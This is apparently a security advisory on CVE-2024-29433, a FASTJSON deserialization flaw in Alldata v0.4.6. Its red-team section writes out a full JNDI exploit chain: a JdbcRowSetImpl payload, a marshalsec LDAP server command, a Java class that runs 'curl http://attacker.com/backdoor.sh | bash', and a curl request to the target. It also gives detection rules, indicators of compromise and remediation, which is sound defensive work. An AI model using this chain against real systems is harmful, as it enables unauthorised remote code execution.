CVE-2024-29433

Executive Summary

CVE-2024-29433 is a critical deserialization vulnerability in the FASTJSON component of Alldata v0.4.6. This flaw allows unauthenticated remote attackers to execute arbitrary commands by supplying crafted serialized data. The vulnerability stems from insecure deserialization of untrusted input, a classic CWE-502 issue. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the public availability of proof-of-concept code elevates the risk for unpatched instances.

Supply Chain & Package Security

Alldata is a data platform that may be distributed via Maven or other Java package managers. The vulnerable FASTJSON component is a widely used JSON library in Java. Organizations should verify their dependency tree for com.alibaba:fastjson versions that are susceptible to deserialization attacks. No official advisory or patch has been published by the vendor.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the vulnerability characteristics, a more realistic assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system control possible.
• Availability (A): High (H) – Service disruption possible.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the FASTJSON library used by Alldata v0.4.6. FASTJSON is known for its @type feature that allows polymorphic deserialization. When processing JSON input, FASTJSON can instantiate arbitrary classes based on the @type field. An attacker can craft a JSON payload that specifies a malicious class, such as JdbcRowSetImpl, to trigger remote code execution via JNDI injection.

Attack Flow:

1. Attacker sends a POST request to an Alldata endpoint that deserializes JSON using FASTJSON.
2. The payload includes {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/evil","autoCommit":true}.
3. FASTJSON instantiates JdbcRowSetImpl and connects to the attacker-controlled LDAP server.
4. The LDAP server returns a malicious Java class that executes arbitrary commands on the target.

Vulnerable vs. Patched Code

Vulnerable Code (Alldata v0.4.6):

// Example of insecure deserialization
import com.alibaba.fastjson.JSON;

public class DataHandler {
    public void processData(String jsonInput) {
        Object obj = JSON.parse(jsonInput); // Unsafe: no type whitelist
        // ... process obj
    }
}

Patched Code (Recommended):

// Use a safe parser with type whitelist
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class DataHandler {
    public void processData(String jsonInput) {
        ParserConfig config = new ParserConfig();
        config.setAutoTypeSupport(false); // Disable auto-type
        // Or use a whitelist:
        // config.addAccept("com.example.safeclasses.");
        Object obj = JSON.parseObject(jsonInput, Object.class, config);
        // ... process obj
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Alldata v0.4.6 with exposed API endpoint.
• Attacker-controlled LDAP/HTTP server to serve malicious class.

Exploit Payload:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com:1389/Exploit",
    "autoCommit": true
}

Step-by-Step:

1. Set up a malicious LDAP server using tools like marshalsec:

   java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
   

2. Host a malicious Java class Exploit.class on an HTTP server:

   public class Exploit {
       static {
           try {
               Runtime.getRuntime().exec("curl http://attacker.com/backdoor.sh | bash");
           } catch (Exception e) {}
       }
   }
   

3. Send the crafted JSON to the vulnerable endpoint:

   curl -X POST http://target:8080/api/data -H "Content-Type: application/json" -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}'
   

Blue Team

Detection:

• Monitor for outbound LDAP connections (port 1389) from application servers.
• Look for JSON payloads containing @type fields with suspicious class names like JdbcRowSetImpl, JNDIConverter, or TemplatesImpl.
• Enable FASTJSON safe mode by setting ParserConfig.getGlobalInstance().setAutoTypeSupport(false).

Honeypot:

• Deploy a fake Alldata endpoint that logs all incoming JSON payloads for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound LDAP connections to external IPs on port 1389.
  • HTTP requests with JSON containing @type and dataSourceName fields.
  • DNS queries to domains hosting malicious LDAP servers.

• File IOCs:

  • Presence of Exploit.class or similar files in temporary directories.
  • Modified fastjson-*.jar files.

• Process IOCs:

  • Java processes executing Runtime.exec() with suspicious commands.
  • Unusual child processes spawned by the JVM (e.g., curl, wget, bash).

Detection Engineering

YARA Rule

rule CVE_2024_29433_FASTJSON_DESERIALIZATION {
    meta:
        description = "Detects malicious FASTJSON deserialization payloads targeting CVE-2024-29433"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-29433"
    strings:
        $json_payload = /"@type"\s*:\s*"com\.sun\.rowset\.JdbcRowSetImpl"/
        $jndi_payload = /"dataSourceName"\s*:\s*"ldap:\/\/[^"]+"/
        $auto_commit = /"autoCommit"\s*:\s*true/
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-29433 FASTJSON Deserialization Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing FASTJSON deserialization payloads
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '@type'
        cs-uri-query|contains: 'JdbcRowSetImpl'
        cs-uri-query|contains: 'dataSourceName'
    condition: selection
falsepositives:
    - Legitimate use of JNDI in controlled environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-29433 FASTJSON Deserialization Attempt"; flow:to_server; content:"POST"; http_method; content:"@type"; http_client_body; content:"JdbcRowSetImpl"; http_client_body; content:"dataSourceName"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable FASTJSON auto-type support: ParserConfig.getGlobalInstance().setAutoTypeSupport(false).
   • Apply network segmentation to limit outbound connections from application servers.
   • Monitor for suspicious LDAP/HTTP outbound traffic.

2. Long-term Fixes:

   • Upgrade to a patched version of Alldata (if available) or replace FASTJSON with a safer library like Jackson with proper type whitelisting.
   • Implement input validation to reject JSON containing @type fields.
   • Use a Web Application Firewall (WAF) to block known deserialization payloads.

3. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable logging of all JSON parsing errors and exceptions.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert